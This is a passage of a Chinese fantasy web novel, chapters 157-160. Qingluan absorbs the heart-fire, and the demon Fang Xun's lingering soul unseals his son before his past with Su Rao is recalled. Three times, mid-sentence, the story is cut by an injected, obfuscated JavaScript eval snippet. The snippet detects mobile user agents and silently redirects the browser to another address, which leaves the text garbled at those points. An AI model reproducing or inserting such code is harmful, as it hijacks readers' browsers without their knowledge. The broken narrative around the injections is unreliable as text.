叹了口气,他祭出自合虚取来的先神法器,再注入后神之力,设下一个庞大的屏蔽法阵。 这个法阵不仅能将所有动静都屏蔽掉,还能助人利用周遭的灵力调息。 青鸾身在法阵之中,心火在她体内躁动所产生的灼热感也缓解了许多。 如今心火已经不在她的体内横冲直撞,它蛰伏起来,好似是在观察眼下的变故。 在意识到那一股外来的力量并非是在吞噬它,而是要与它融合变得更为强大后,它突然安静下来,开始接受心火之源的闯入。 此前青鸾便隐隐感觉心火似乎是有自主意识的,这一个猜测终于在此刻得到证实。 她蜷缩的指节终于舒展,掌心浮现出同样的一道火凰图腾。 心火在啃噬她,亦在喂养她。 衣袂翻飞间,她的肌肤深处透出熔金般的光晕,漫天流火在此时烧得愈加暴烈,仿佛要将这一整片天地都灼烧殆尽。 翻涌的赤炎似乎要吞没她的瞳孔,筋骨也在烈焰中舒展犹如初生,她的肉身在心火的燃烧中重塑。 她缓缓睁开眼,自火海中起身,足尖点过火焰绽出红莲。 她朝空中仍以火凰姿态桀骜不臣的心火之源伸出手,轻轻道了一句:“来。” 火凰仰头在空中长啸,倏然化为金色洪流涌入青鸾七窍。 这并非是寻常火焰灼烧,四野焦土蒸起百丈紫烟,方圆十里的云层都被灼烧成了暗红色的漩涡,便连空间都扭曲出了层层叠叠的虚影。 青鸾立于火海最中央,三千青丝逆风狂舞,便连发梢都燃起红色火焰。 最后一缕心火没入她的眉心时,祭坛终于重归平静,她赤足踏火而立,裙裾翻飞间露出的小腿已覆满火凰翎纹,每一道纹路都流转着金色光芒。 几番调息后,那些光芒渐渐熄灭,她自空中落下,就这样在众人震撼的注视中,完成了与心火之源的融合。 157. 万国传 在心火之源彻底融进体内时,青鸾隐隐约约感到有一道封印在灵台崩解。 在那道封印承受不住心火的攻击而崩溃时,灼痛感仿佛化作万顷桃花,于刹那间漫过她的四肢百骸。 此刻尘埃落地,心火已熄,那灼痛感也渐渐淡去。 心火变得与从前不一样了。从前青鸾只是隐隐觉得它似乎有自己的意识,现在她能明确感受到它正蛰伏在自己体内,而她能够凭借意识与它进行沟通。 此外她的身体还有了别的变化。 心火之力在体内流转的速度变得更快,她的五感也变得更为敏锐。 这具身体仿佛真的淬火重塑。 现在她暂时没有机会尝试与心火沟通,也没有时间去探寻那道在灵台崩解的封印是怎么回事。在现场几人目不转睛的注视下,她仿若无事地道:“现在带我去圣灵族隐居之地,我要见前日寻到这里来的那两个女子。” 金潇听到青鸾说话,这才确定她已将心火之源融合完毕,第一个冲了上去,绕着圈儿观察青鸾:“哇……这就是心火之源吗?刚才你的皮肤都变得半透明了,好像有岩浆在你身体里流淌……” 辛夷则从空中飘了过来,同样绕着青鸾打量了一番。 然后她朝青鸾伸了伸手,示意青鸾随她一起走:“圣灵族隐居之地布有结界,也需得依靠自然之灵才能解开。” 青鸾则在掌心燃起心火,让辛夷继续在心火中滋养魂魄:“你的魂魄尚不稳固,还不能凝为实体,且再休息一段时间,让金潇她们带我去族地即可。” 金潇当即拉起青鸾的手:“对对对,我们带你去我们带你去!” 辛夷感动地点了点头,咻的一下飞进那团心火。 青鸾将心火一收,随金潇她们掠过祭坛,继续往密林深处走,经过成渊身侧时她停顿了一下:“现在我要去取太虚锢灵鉴,你是随我一起,还是在此地等候?” 成渊当然是毫不犹豫选择随她一起。 于是一行人就这样浩浩荡荡往圣灵族世代隐居之地而去。 路上金潇同青鸾解释,若要进入族地,需得穿过十二道结界,其间至少需要两种不同的自然之灵才能开启通道,如此严防死守,为的便是能够真正与世隔绝,不为外人所扰。 这么多年来圣灵族能够免于各种祸乱争端延续至今,靠的就是这份谨慎。 “最后一道结界乃当年圣女亲自所布,唯有族中大巫能解。”金潇在最后一道结界前停下,闭目念诵圣灵族古语,然后睁开双眼,恭敬地等待她口中的大巫降临。 没过多久那道结界便显现出奇异的光芒,光芒里缓缓现出一道人影。 那人身材颀长,手持巫杖,看起来十分年轻,但是脸上覆盖着的青铜面具让人瞧不见他的真容。 他扫视了一圈站在结界前的人,最后将目光定格在了青鸾身上。 青鸾迎着他的目光回望,竟发现他的眼中似有泪光。 隔着面具看不见他的表情,但她看得清他发红的眼眶,感知得到瞬间弥漫在他身上的哀伤。 过了许久许久,他才将目光移开,转身一挥法杖,将通往圣灵族的结界之门打开。 金潇几人也察觉到大巫情绪不对,正隐隐担心族内是否发生了什么大事,待到穿过结界之门回到族地后,才发现族中人人素缟。 她不禁捂住嘴叫出声来。 族中之人尽着白衣,每个人脸上都有哀色。此般情状,若非族长去世,那便是前任大巫陨落了。 青鸾与成渊对视了一眼,没有说话。 他们也看得出来,圣灵族中应当是有很重要的人物去世了。 金潇几人停下步伐,转头望向一直沉默不言的大巫。 他感受到她们询问的目光,轻轻叹息一声:“师尊在昨日陨落了。” 大巫的师尊……那便是前任大巫陨落了。 虽然早已猜到是这个结果,但亲耳听到大巫说出此事,金潇她们还是感到无法接受,瞬间面如死灰,怔在原地不知该如何是好。 便在这时圣灵族长在几人的搀扶下颤巍巍朝青鸾走来。 “您便是……圣女转世?”族长说着就要向青鸾跪拜。 青鸾后退几步,一把将她扶住:“我为圣女转世之躯,但此世已非圣灵族人,不能受你们如此大礼。” 听到青鸾这样说,老族长重重地叹了口气,又在身旁几人的搀扶下直起身来,而立于一侧的大巫眼中则流露出心痛之意。 从一开始青鸾便注意到他似乎一直在观察自己,且看向她的目光不是悲哀便是心痛,此刻又一次见到他露出哀伤的目光,青鸾终于忍不住问他:“我们此前可是认识?” 大巫一怔,没有开口,倒是老族长接过了她的话:“前任大巫陨落前所卜的最后一卦便是与您有关,他预言您于千年前转世,将在近百年间重回族地。却没想到,他竟然在您归来的前一日陨落,唉……” 说到这里老族长又重重地叹息了一声:“前任大巫是这孩子的师尊,也难怪他会为此惋惜,毕竟……唉,任谁心中都会有不平。” 青鸾听她这样说,便也猜出那刚刚陨落的前任大巫恐怕是与她的前世有什么渊源,但此刻并不是追问这些的时候,她对族长道:“我此番来到芙蓉浦,为的是帮一位故人了却心愿。” 族长自然清楚青鸾所言何事,当即点了点头,引青鸾进入大帐。 圣灵族世代隐居于深山密林之中,看起来仍旧保持着一些较为原始的习俗,譬如圣灵族人居住之地,除了些许帐篷,便是依树而建的木屋。 青鸾随族长走入族内最大的一个帐篷,刚进去便见到焕鸢夫人的两位族人,她们正抱着怀中哭闹不休的孩子,颇有些手足无措地哄着。 见到青鸾后她们眼睛都亮了,赶紧抱着孩子走到青鸾面前。 圣灵族族长同青鸾一起望向她们怀中的孩子,开口道:“他们在这里很安全,这两位姑娘的母族与我圣灵族颇有些渊源,且老身第一眼见到这个孩子便知道他是大妖方荀之子。既然入了芙蓉浦,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291510|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便会护他们周全。” 大妖方荀? 青鸾在心中思忖,这人便是掳走素娆引得九重天宫轩然大波的人,令帝骁恨之入骨的大妖,眼前这孩子的生父。 她转首望向圣灵族长。 看起来那大妖方荀与圣灵族长十分相熟的样子。 不过她也只是默默思索,并没有开口询问,上前抱过孩子,她想到一个更要紧的问题。 素娆当初只告诉过她该如何用太虚锢灵鉴让方荀生魂现世,为这孩子解开封印,却没有告诉她太虚锢灵鉴具体在芙蓉浦何处。 她蹙了蹙眉。 素娆之所以没有说,一来是因为当时情况紧急,她要带着孩子赶紧离开,二来恐怕也是因为便连素娆自己也不清楚此物具体在什么地方。 她再次将目光落到圣灵族长身上:“我此番前来是为了帮这孩子解开封印,若要解开封印便需用到太虚锢灵鉴。既然您知道他是方荀之子,不知道您是否知晓太虚锢灵鉴现在何处?” 青鸾揣测,既然圣灵族长与方荀相熟,那她或许知晓内情。 却见族长摇了摇头:“我并没有见过那个大妖,至于太虚锢灵鉴,更是连听也没有听说过。” 青鸾闻言再次蹙眉:“太虚锢灵鉴乃妖族至宝,传说是万国时期一妖族炼器师所造,若是连您也不知它的下落,我们想要寻见它恐怕没有那么容易了。” “您说它是万国时期所造?”族长听见万国二字,话锋一转:“那也不是全无办法,您不妨用心火一试。” 青鸾疑惑:“这是何意?” 心火难道还能与妖族至宝产生感应。 但闻族长继续道:“其实我也不太清楚,只是幼时曾听前任大巫讲过,万国时期圣灵族与妖族关系匪浅,两族曾立下契约永结万世之好,据说促成此事的便是当年的圣女大人。” “我虽没有见过那大妖,但知道他是千年来唯一一个闯入芙蓉浦并且还被大巫接纳了的外人,所以在感受到这孩子身上残留的妖力时,便知是大妖方荀留下的。” “当初大巫之所以同意方荀留在芙蓉浦,便是因为亿万年前圣灵族与妖族立下的这个契约。” 永结万世之好…… 万年前圣灵族与妖族的关系竟好到这等地步。 那么或许那名万国时期的妖族炼器师所炼制的法器,当真能够与圣灵族圣女的心火产生感应。 青鸾闭上眼睛,催动心火试图搜寻太虚锢灵鉴的所在。 其实这时候也是个尝试与体内心火进行沟通的好机会。 她要试一试到底能不能凭借意识与心火交流。 她闭目向内凝视心火之源,感受到它正蛰伏在自己精神之海的深处,小小一簇,安安静静地待着,全然不似方才那般气焰嚣张。 青鸾凝视了它半晌,开始用意识与它沟通:你能否感应到太虚锢灵鉴的存在?能否助我寻到此物? 那火苗仍旧安安静静地燃烧着,一动不动待在原地,仿佛没有听到青鸾在说什么。 158. 万国传 静默地与心火对望良久,见它完全没有反应,青鸾有些失望。 就在她睁开眼准备结束与心火的沟通时,忽然觉得心中一动。 无需言语,也没有声音,她单纯凭借意识感知到了心火的回应。 ——我知道它在哪里,我可以唤它来。 青鸾有些恍惚。 她没有听到任何声音,只是脑海里凭空出现了这样一个意识——心火会帮她唤来太虚锢灵鉴。 一时间她甚至有些怀疑是自己太想与心火沟通而产生了错觉。 心火乖巧地萦绕在她身侧,轻轻从她的脸庞掠过,似乎是在安慰她这并不是错觉。 金潇好奇地凑了过来:“怎么样怎么样,心火能感应到太虚锢灵鉴的存在吗?” 青鸾犹疑地回答道:“似乎是能吧……” 金潇歪着脑袋疑惑地嗯了一声,能就是能,不能就是不能,她不理解似乎能是什么意思。 便在这时,众人见到环绕在青鸾身侧的心火如云烟般散溢开来,它在空中燃烧了片刻,渐渐消失不见。 随着它的消失,他们眼前渐渐现出一个八角青铜异兽盘。 青鸾单手接过它。 她知道眼前之物正是素娆向她形容过的太虚锢灵鉴。 “哇……”金潇又一次发出感叹:“原来心火真的能寻到太虚锢灵鉴!” 族长也点了点头:“果如前任大巫所言,万国时期妖族与我族关系匪浅,心火果然能够召唤妖族炼器师所炼制的法器。” 青鸾抚摸着手中的法器,感受到其中蕴含的磅礴灵气,当即催动灵力注入青铜盘。 镶嵌在青铜盘中心的冰魄玉在青鸾灵力的催动下散发出幽幽蓝光,随后那道光芒里现出一个男子身影。 正是青鸾怀中孩子的生父——大妖方荀。 他是方荀生前剥离出的一缕魂魄,几百年来都被封印在太虚锢灵鉴中,此刻骤然被人唤醒,他的目光里现出些许茫然。 不过在看见那襁褓中的婴儿时,他茫然的目光逐渐变得清明。 这孩子诞生于九重天宫,一直随素娆一起被囚禁在龙渊之狱,他并没有见过他。 但他感受得到流淌在这孩子体内的大妖之力,还有那道他当年亲自设下的封印。 在确认了眼前这个孩子就是自己的孩儿之后,他将目光落到了青鸾身上,目光里带着一点探询和疑问。 随着记忆的复苏,他逐渐想起曾经与素娆的约定:“是素娆托你来此寻我为孩子解开封印么?” 见青鸾颔首,他连忙又问:“素娆现在何处?” “她……”青鸾犹豫了一瞬,还是决定告诉他真相:“她已经陨落了。” 方荀怔了一怔,随后喃喃道:“是了,是了,我早该猜到的,若非如此、若非如此……她怎舍得让孩子离开自己……” “当年我剥离这一缕生魂,就是为了将来有一日能解开他身上的封印。”方荀垂首注视着孩子,伸手想要触碰他:“可是一旦运用生魂之力解开封印,我的这一缕魂魄也会消散。” 他在犹豫,也在不忍,事到如今他竟然不知道到底该不该为孩子解开封印了:“他没了母亲,又没了父亲,他还这样小,以后该怎么办?” “素娆在九重天宫有一旧识,此番营救这个孩子,便是她与我一起谋划。”青鸾沉默片刻后道:“这孩子将来会和她的族人一起,回到她的母族生活,这是九重天宫那位夫人的承诺。” 方荀闻言一怔,随后他侧首望向焕鸢夫人的两位族人。 “你们便是那位夫人的族人吧?”他问:“如此大恩,我该如何报答?” 不待那两人答话,他很快做下决定,上前对二人道:“刚才我便感知到了你们体内的血脉,你们乃烛龙后裔,是不是?” 那两人皆是一愣,随后点了点头。 这方荀是修为高深的大妖,能够凭借妖力感知到烛龙血脉也不稀奇。 “那我便送你们一场机缘。”说着他抬手在两人眉心一点,两道红光随着他的动作没入两人眉心:“你们虽为烛龙后裔,但想来当属旁支,族人没有进入烛龙祖地的机会。此乃我之先祖以精血炼化而成的保命法器,我将它送予你们,你们此后便可凭此进入烛龙祖地,若能在祖地寻到机缘,修为定能突飞猛进。” “并且,每一处先祖之地其实都会寻觅传承之人,若你们能有这个造化,那么其余的族人也都有进入祖地修炼的机会。” 方荀此番无疑是送了全族一个大机缘。 那两人当即恭恭敬敬朝他一拜:“多谢前辈!” 方荀点头一笑,没有多说什么。 青鸾却是看得心头一酸。 虽然将这孩子带回族中教养是焕鸢夫人的承诺,但以后的日子还长,这孩子从小没了父母,也没有其余的亲人,唯一的兄长只想置他于死地。方荀的魂魄即将消散,他如何放心得下。 他虽什么也没说,但送她们全族一个大机缘,不过是希望她们看在今日这场机缘的份上好好照顾这个孩子。 做完这件事后,他转首再次望向青鸾。 青鸾读懂了他目光中的含意,也明白他的无奈,轻轻叹了口气:“素娆曾言此事了结后将妖族至宝太虚锢灵鉴赠予我,你不必再送我什么。将这孩子从九重天宫救出,也是我对她的承诺。” 方荀却是摇了摇头:“从九重天宫脱身并不是一件易事,你带着孩子一起闯出便更不容易,我应当谢你。” 他同样抬手点向青鸾额间:“洪荒万国时期拥有心火的圣灵族圣女曾与妖族订立万古盟约,心火可助妖族提升修为,大妖之魂同样也可滋养心火。” “我感受到你的心火之力尚处于萌芽阶段,有此魂火滋养,将会助你的心火更加强大。” 在大妖魂火与体内心火交融的那一刻,青鸾果然产生了一种奇妙的感觉。 两股相异的力量却并不排斥彼此,它们互相滋养着对方,而后变得强大。 做完这些事,方荀才算是真正松了口气,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298039|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后他将目光落到了孩子身上。 父子之间似乎有着某种心灵感应,在与父亲生魂对视的那一刻,襁褓中的婴儿终于停止了哭泣。 他的目光清澈单纯,不谙世事,完全不知道将来等待着自己的是什么样的命运。 方荀移开目光,有些不忍注视。 最后他道:“当初我与素娆约定好,待到有一日真正摆脱九重天的追杀时再解开孩子身上的封印,到时再为他取名。但如今……这个心愿是无法实现了。” “既然今后他在你族长大,那便由你们赐名,从今以后他不再是大妖方荀之子,而是上古仙族后裔。” 说完这最后一句嘱咐,他的目光不舍地在孩子身上流连片刻,然后他闭上眼,开始施法为孩子解除封印。 与此同时他的一缕生魂也在以肉眼可见的速度消散。 在方荀生魂消散之时,一幅飘渺如烟似海市蜃楼的画面在空中浮现。 金潇讶然:“这是什么?” 圣灵族长摇首叹息:“大妖生魂消散之际,其毕生妖力也会随之散去,若他生前有放不下的执念,便会在散功时形成此般蜃影。” “这便是他一生最难以忘却也最难放下的记忆了。” 青鸾注视着眼前一幕幕浮起又消散的蜃影,看得心中黯然。 方荀生前最难以忘怀的便是曾经与素娆一起在芙蓉浦生活的那一段时日。 彼时千里迢迢从大荒赶到此处,想尽办法混入都广之野,最后发现根本无法通过建木去往九重天宫的方荀是恼怒的。 恼怒之际他看到了来到都广之野进行巡查的帝凌神。 这位神君可是天君之子,方荀在帝凌神的身上打起了主意。 帝凌每次出行都有无数扈从相随,因他身份特殊,他的有些随从修为还要比他更高些。 方荀难以近身,于是将视线落到了跟随在队伍最后的素娆车架上。 四海皆知身为天君之子地位无比尊崇的帝凌神居然娶了一个手无缚鸡之力的凡人为妻。 那凡人虽然身为神君夫人,在九重天上却是一点地位也没有,如今帝凌出行都广之野,素娆即便是随夫君出行,她的车马也一定会被安排在其余车架之后。 且那最后一辆车架上只有微弱的灵力波动,九重天宫中断没有修为如此低下之人。 确定那辆车架内坐着的一定是素娆之后,方荀找准时机,直接连人带车一并掳走。 素娆的车架位于队伍最末,且无侍从跟随,连随同的宫人都没有,用帝凌的话来说,天君允许他在出行时将她带上已属不易,就不要大张旗鼓引人耳目了。 因此当他们终于发现素娆夫人失踪时,方荀已经带着素娆逃入了芙蓉浦。 帝凌大怒,当即着人捉拿。 可芙蓉浦乃圣灵族栖居之地,这个隐居避世多年的种族连天君的号令也不遵从,帝凌更是无可奈何。只好命人将芙蓉浦团团围住,谅方荀也不可能在那里躲一辈子,只要他现身便立刻拿下。 159. 万国传 素娆起先并不知道发生了什么,她安静地坐在车内,没有出声,也不试图反抗。 直到听见方荀拿自己作为要挟,让帝凌带他面见天君,这才明白自己是何处境。 明白过来后她忍不住抿着嘴笑,帝凌将她掳至九重天宫,看中的不过是她的皮相,本来他便因为她而在九重天饱受非议,现在怎么可能为了她而带这大妖去面见天君。 她的笑容里有些许不屑,似乎是觉得方荀身为实力强悍的大妖,脑子却如此简单。 她的这个笑容在方荀掀开车帘的下一秒落入了他的眼中,他先是愣了愣,然后破防了。 “你笑什么?”他咬牙切齿:“我问你笑什么?” 素娆瞬间将笑容收了回去。 她不笑了,只是闭着唇安安静静地注视着方荀。 她的平静令方荀的暴怒也显得如此滑稽。 他冷笑了几声,不说话了,在芙蓉浦寻了个安全之地,随手幻化出一间小院,然后把素娆扔了进去。 把她扔进院子之后,他恶狠狠告诉她,什么时候帝凌答应他的条件,什么时候他就放了她。 素娆仿佛不会有情绪的波动,方荀以为自己的态度已经足够恶劣,足以吓哭这个娇滴滴的小娘子,却没想到素娆只是点了点头,就这样平静地接受了自己的命运。 方荀有些摸不着头脑。 更让他摸不着头脑的还有素娆平日里的行为。 她喜欢搬一把椅子坐在院落门口,抬首望着院外开得正盛的一树花,有时候她也会对更远处的风景感兴趣,但她最多只是站在门口遥遥地望着,从不踏出院门一步。 方荀观察了她许久,终于有一天忍不住问她:“你要是喜欢外面那棵树,你就走出去看看呗,为什么只在门口看?” 素娆在这时才露出了讶异的表情,她的声音里也有些许惊讶:“你允许我离开这个院子?” 方荀听笑了:“老子只是抓你做人质,又不是跟你有仇要把你关起来,整个芙蓉浦你想去哪里就去哪里,反正这里有圣灵族的结界,我也不担心你跑回去找帝凌。” 不知是不是方荀的错觉,素娆眼里似乎有泪光闪烁,下一秒她低下头,突然耸着肩膀笑了起来。 方荀看愣了。 他开始怀疑自己到底拐了个什么样的人回来? 当天下午素娆便出了门。 芙蓉浦很大,她没敢走得太远,只是在树底下站了会儿,然后在不远处逛了逛,天还大亮着便回到了院落。 第二天她走得更远了些,归来时天已擦黑。 第三日她走得更远了,回来的时候天已经黑透,有一二星子的光透过密林洒下来,照在院落前的那棵花树上。 行至院前她停下了步子。 今日方荀竟然在门口等着她。 “芙蓉浦乃一原始密林,其间生活着很多远古异兽,它们大多在夜间出行。你若是回来太晚被它们叼了去,我可救不了你。”见到她回来后,方荀不咸不淡地扔下这句话便转身进了屋。 素娆站在原地注视着他的背影,愣了好一会儿才继续抬步向前,走进院子后细心地将院门锁上。 自那以后她每次外出都像是掐准了时间,每日归来时都是天色欲晚将黑未黑的时候。 方荀倒也如之前所言那般,放任她随便外出,从来不过问。 直到有一日她主动找到他,怀里抱着一只幼小瘦弱的灵兽。 “你……能不能帮忙救救它?”她的目光看起来有些潮湿,比那受了伤的小兽还要委屈可怜。 方荀看得眉头一蹙:“你从哪里捡回来的?” 他与帝凌的僵持还在继续,虽然他将帝凌的夫人掳至了芙蓉浦,但那厮完全没有同他商量的意思,只一味让天君将芙蓉浦围住。 他如今可谓是进退两难,因此在见到素娆时并没有什么好脸色:“你知道你怀里抱着的是什么?它是无相魇猫,可穿梭梦境啃食执念,被它的赤金瞳孔所凝视过的人都会逐渐遗忘自己相熟的人与事。四海八荒皆称它为凶兽,你还敢将它抱回来?” “穿梭梦境也好,啃食执念也罢,这些都是它的能力,为什么要因为它天生便拥有的能力而见死不救呢?如果可以选择的话,它未必愿意因为拥有这些能力而被四海八荒视作凶兽呀。”素娆有些着急,她的语速难得加快:“况且它还这么小,它并没有害过谁。” 她所说的这番话不知是哪一句触动了方荀,他沉默地注视了她片刻,然后将目光移到她怀中的小兽身上:“它伤得不算太重,只是因为长时间没有得到照顾而变得虚弱,想来它的母亲是遇见了更为强大的异兽,已经不在了。” 最后他道:“你每日用灵力温养它半个时辰即可。” 素娆却露出了为难的表情。 方荀饶有兴味地观察着她,然后问道:“你不会不知道该如何控制灵力吧?” 素娆抿了抿嘴,然后点了点头,语气诚恳地对他道:“我确实不知道如何控制灵力,所以能不能请你帮帮忙,帮我用灵力温养它?” “你身为帝凌之妻,怎会不知道如何使用灵力?若是没有灵力,在九重天宫岂非举步维艰?”方荀倒是颇为讶异:“虽说你是凡人,但我能感受到你身上有微弱的灵力波动,想来帝凌给你服用过可以延长寿元的灵丹。你的灵海已启,他为何不亲自教你?” “因为在九重天上时,我并不能离开帝凌府邸半步。正因我是凡人之躯,所以此生也无望逃离九重天,他自然不会教我如何控制灵力。”素娆的回答可谓坦诚,坦诚得令方荀感到不可置信。 他万万没有想到,素娆成为神君之妻居然是被迫的。 若按照方才的说法,在九重天宫的她岂非失去自由。 他突然就理解了素娆最开始的那些行为。 在九重天上被囚禁得太久,她似乎已经接受自己的活动范围都受到旁人掌控。 他的目光里流露出一丝震撼,还有一抹懊悔。 仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302206|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然间觉得自己做了一件罪大恶极的事。 素娆举起怀中虚弱的小兽,再一次执着地问他:“那你可以救救它吗?” 方荀再次陷入沉默,只是这次静默之间两人的气氛已与往常不同了。 “你自己捡回来的灵兽自己想办法去救。”他望一眼素娆怀中虚弱的魇猫幼崽,又望一眼素娆期盼的目光,最后妥协般地道:“不过我可以教你如何控制灵力。” 素娆在听见他的前半句话时目光一暗,听到他说可以教自己控制灵力,她的眼中又瞬间焕发了光彩。 此后一段时间素娆都没有出门,白日里她在方荀处学习如何控制灵力,晚上则小心翼翼地用自身灵力滋养魇猫幼崽。 如此过去大半个月,她已经能熟练地调动灵力疗愈灵兽,那只魇猫也逐渐痊愈。 它似乎将素娆视作了自己的母亲,每日都黏在她的身边,竖着尾巴在她的脚边绕圈,一步也不肯离开。 方荀兴致好时会在院中看素娆与魇猫玩耍,一人一猫追逐着在院落前的花树下疯跑,素娆的笑声张扬,她脸上的笑意也不似最初那般淡然平静得近乎麻木,她再也不是一副仿佛什么事情都无法激发出她兴趣的模样。 粉色的花瓣随风落下,坠落在她的肩头,飘洒在她的裙裾之间,他突然感到眼前这个女子极具生命力,比他从前见过的任何一个女子都要灵动。 这样一个如风灵动的女子,却终日被囚禁在帝凌府邸。 他再一次感到良心不安。 于是有一天对素娆道:“你如今已经能够掌控灵力,至少有一些自保的能力,可以去更远一点的地方看看了。” “芙蓉浦晚上的风景极美,有许多的植物在夜晚沐浴月光时才会盛开,你若是感兴趣可以自己去寻一寻。” 素娆听得眼前一亮又一亮。 当晚她便离开院子去了更远的地方,也见到了方荀所说的更美的风景。 她在一条小小的溪流畔看见一株琉璃似的野兰,九重花瓣如冰晶凝结,花蕊处流转着月华。 此外还见到一束茎干布满暗紫色鳞片的曼陀罗,那花的花冠形似骷髅,回去同方荀讲到此处见闻时他告诉她,此花每逢朔月时分便会发出婴啼般的呜咽,它的花粉很多,会在月光下随风而舞,远远望去如一团紫色迷雾。 素娆啊了一声,有些遗憾自己虽然误打误撞见到了此花,却没有看到那样奇异的景色。 慢慢地她发现方荀似乎对每一种植物都十分了解,有时候她还没有描述完见到的花草是何形貌,他便已道出它们的名称和特征。 她自然对此感到好奇,方荀也是第一次进入芙蓉浦,怎会对此间奇花异草如此熟悉? 不过彼时她自觉与他不够相熟,且她说到底是他掳来的人质,虽然十分好奇,却没有将这番话问出口。 直到一次月圆之夜,他脸色苍白地惊呼了一声不好,然后便在两人居住的院子里,当着素娆的面,缓缓变成一个巨大的蘑菇…… 160. 万国传 素娆盯着他看了半晌。 然后道:“这就是你的本体?原来你是一个菌子?” 怪不得他对各种植物都分外了解。 因为他自己就是一个巨大的植物。 菌子是无法做出表情的,但素娆能听得出方荀的声音极为无语:“什么菌子,你放尊重一点。” 他一字一句道:“我乃上、古、蕈、灵。” 素娆又盯着他看了半天:“那不还是菌子?” 方荀:“……” 他沉默了,他现在一点也不想跟素娆讲话。 素娆见方荀不理她了,倒也不再开口说话,她绕着方荀走了一圈儿,然后催动灵力,将灵力凝结为一个光罩,罩在了方荀身上。 方荀问她:“你在做什么?” 素娆搬了把椅子在他面前坐下:“为你做一个防护罩呀。” “你突然变回本体的形态,一定是有缘故的,此时的你想必很虚弱吧?”她支着脑袋望向他:“妖族化为本体形态一般只有两种可能,要么是需在战斗时释放出纯粹的妖力,要么便是身体虚弱无法再维持人形。我虽为凡人,这一点常识却也还是有的。” 方荀有点感动。 她猜到自己是因为身体虚弱才不得已化为原形,却没有追问他到底发生了何事,只是为他支起一个防护罩,还坐在他跟前守着他。 他觉得她真的是个好人。 于是他将自己的秘密告诉了她:“我的血统延自上古蕈灵,天生便对自然万物有很强的感知能力,但是蕈灵一族有个致命的弱点,那就是每百年便会在月圆之夜化为原形一次,且保持原形的时间并不固定,短则一夜,长则几月。” “距离我上一次化为原形已近百年,我估摸着日子快到了,却没想到这么快。” 素娆听他主动讲起身世,便也不再掩饰自己的好奇,追问道:“这是为什么呢?” “我也不太清楚,可能这便是我们种族的特点吧。毕竟天生妖力强大,也总要为之付出点代价。”方荀幽幽地道:“不过真要计较起来,这也未必便是代价,毕竟被迫化为原形的这一段时间,我们可以加倍吸收日月精华。只要平安度过这段虚弱的时间,修为往往会比从前提升数倍。” “这一个弱点对于现在的蕈灵一族来说已不算是致命的弱点,但在混乱的万国时期,却足以让人丧命。” 素娆认真地听着,然后郑重地道:“我会保护你的。” 方荀愣了愣:“什么?” 素娆一字一句道:“在你本体虚弱的这一段时间,我会保护好你的。” “虽然我的灵力微弱,但我会拼尽全力保护你,就像你每天晚上保护我那样。” 方荀又是一愣。 然后他轻轻地道:“原来你都知道了。” 素娆笑了笑:“你也说过芙蓉浦有许多异兽会在夜间出行,但我这些天从没遇见过。” “我曾路过一处沼泽,沼泽周围满是瘴气,但在我经过时那些瘴气会自动散开。” “还有一次路过荆棘丛林,我好奇那片丛林背后有什么样的景色,但那些黑铁一样的荆棘吓得我站在原地,犹豫了很久也不敢上前。就在我准备转身离开的时候,那些荆棘居然自己退开,让出了一条路来。” “我知道它们并非碍于我的威压才把路让开,我早就知道你一直跟在我的身后保护我的安全了。” 方荀听完沉默了好一会儿,然后他有些嘴硬地道:“我倒也没有那么闲,每天跟在你身后为你开路。” 说着他释放出无数菌丝,菌丝纹路密密麻麻,瞬间便覆盖了整片密林:“我是用这些菌丝保护你的,才没有一直跟在你的身后。” 素娆忍不住笑:“好好好,我知道了,你没有一直跟在我的身后。” 她好奇地伸手想要抚摸菌丝:“光凭这些菌丝就可以吓退异兽吗?” “别,你不许碰!”方荀急忙阻止,可是为时已晚,素娆的指尖在他出声的瞬间抚上了那些菌丝。 听见方荀阻止,素娆连忙将手收回,但只是方才那一瞬的触碰,她便已经与方荀的记忆产生了共感。 这才知晓他为何会如此慌张地制止自己。 原来这些菌丝还有如此用途,只要互相触碰便能产生共感,甚至与对方的记忆相连。 方才共感的一瞬间,她看见了两千年前还是小蘑菇的他,在一场山火中被一个凡人樵夫救下,种在了自家的院子中。 几天后恢复了元气的他离开樵夫的院子,回到山中努力修炼,终于在几十年后成功化形。 几十年过去,那凡人樵夫已垂垂老矣,方荀却十分庆幸,自己在那老人寿终前成功化形,终于有机会报答他昔年的救命之恩。 此后几年,这户人家日日野味不断。方荀每天都会寻一些山兔之类的猎物,悄悄放在樵夫家门前。 直到老人去世,他才停止了这一报恩行为。 